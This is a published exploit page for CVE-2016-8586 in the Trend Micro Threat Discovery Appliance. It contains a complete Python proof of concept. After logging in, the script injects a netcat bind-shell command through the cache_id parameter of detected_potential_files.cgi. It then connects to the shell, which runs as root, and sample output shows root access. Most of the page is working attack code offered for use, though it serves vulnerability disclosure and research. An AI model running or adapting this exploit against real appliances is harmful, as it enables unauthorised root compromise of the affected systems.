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Trend Micro Threat Discovery Appliance 2.6.1062r1 detected_potential_files.cgi Remote Code Execution

Trend Micro Threat Discovery Appliance 2.6.1062r1 detected_potential_files.cgi Remote Code Execution
Posted Apr 20, 2017
Authored by Roberto Suggi Liverani, mr_me

Trend Micro Threat Discovery Appliance versions 2.6.1062r1 and below suffer from a detected_potential_files.cgi remote code execution vulnerability.

tags | exploit, remote, cgi, code execution
advisories | CVE-2016-8586
MD5 | aa20468f976a8f6eddbfec0fe9caa436

Trend Micro Threat Discovery Appliance 2.6.1062r1 detected_potential_files.cgi Remote Code Execution

Change Mirror Download
#!/usr/local/bin/python
"""
Trend Micro Threat Discovery Appliance <= 2.6.1062r1 detected_potential_files.cgi Remote Code Execution Vulnerability
Found by: Roberto Suggi Liverani - @malerisch - http://blog.malerisch.net/ & Steven Seeley of Source Incite
File: TDA_InstallationCD.2.6.1062r1.en_US.iso
sha1: 8da4604c92a944ba8f7744641bce932df008f9f9
Download: http://downloadcenter.trendmicro.com/index.php?regs=NABU&clk=latest&clkval=1787&lang_loc=1

Summary:
========

There exists a post authenticated command injection vulnerability that can be used to execute arbitrary code as root.

Notes:
======

- Since this is a busybox, getting a connectback seemed hard. So, for this particular PoC, all I did was
exec a bind shell using netcat.

- Auth is VERY weak, no privilege seperation, no username required, no password policy, no protection from bruteforce attempts...

Example:
========

saturn:trend_micro_threat_discovery_detected_potential_files_rce mr_me$ ./poc.py
(+) usage: ./poc.py <target> <pass>
(+) eg: ./poc.py 172.16.175.123 admin123
saturn:trend_micro_threat_discovery_detected_potential_files_rce mr_me$ ./poc.py 172.16.175.123 admin
(+) logged in...
(+) starting backdoor, this will take a few secs...
(+) calling backdoor!
id
uid=0(root) gid=0(root)
uname -a
Linux localhost 2.6.24.4 #1 SMP Wed Oct 13 14:38:44 CST 2010 i686 unknown
pwd
/opt/TrendMicro/MinorityReport/www/cgi-bin
exit

"""

import re
import os
import sys
import time
import requests
import threading

requests.packages.urllib3.disable_warnings()

if len(sys.argv) != 3:
print "(+) usage: %s <target> <pass>" % sys.argv[0]
print "(+) eg: %s 172.16.175.123 admin123" % sys.argv[0]
sys.exit(-1)

t = sys.argv[1]
p = sys.argv[2]

bu = "https://%s/" % t
l_url = "%scgi-bin/logon.cgi" % bu
e_url = "%scgi-bin/detected_potential_files.cgi" % bu

s = requests.Session()

def exec_bd(s, e_url):
# now we setup our backdoor
# no reverse, since it seems to fail !?
netcat = "|`nc -e /bin/sh -lp 1337`"
e_url += "?act=search&cache_id=%s" % netcat
s.get(e_url, verify=False, proxies={"http":"https://127.0.0.1:8081/"})

# first we login...
r = s.post(l_url, data={ "passwd":p, "isCookieEnable":1 }, verify=False)
if "frame.cgi" in r.text:
print "(+) logged in..."

thread = threading.Thread(target=exec_bd, args=(s, e_url,))
thread.start()

print "(+) starting backdoor, this will take a few secs..."
time.sleep(4)

print "(+) calling backdoor!"
os.system("nc %s 1337" % t)

else:
print "(-) login failed"
sys.exit(-1)

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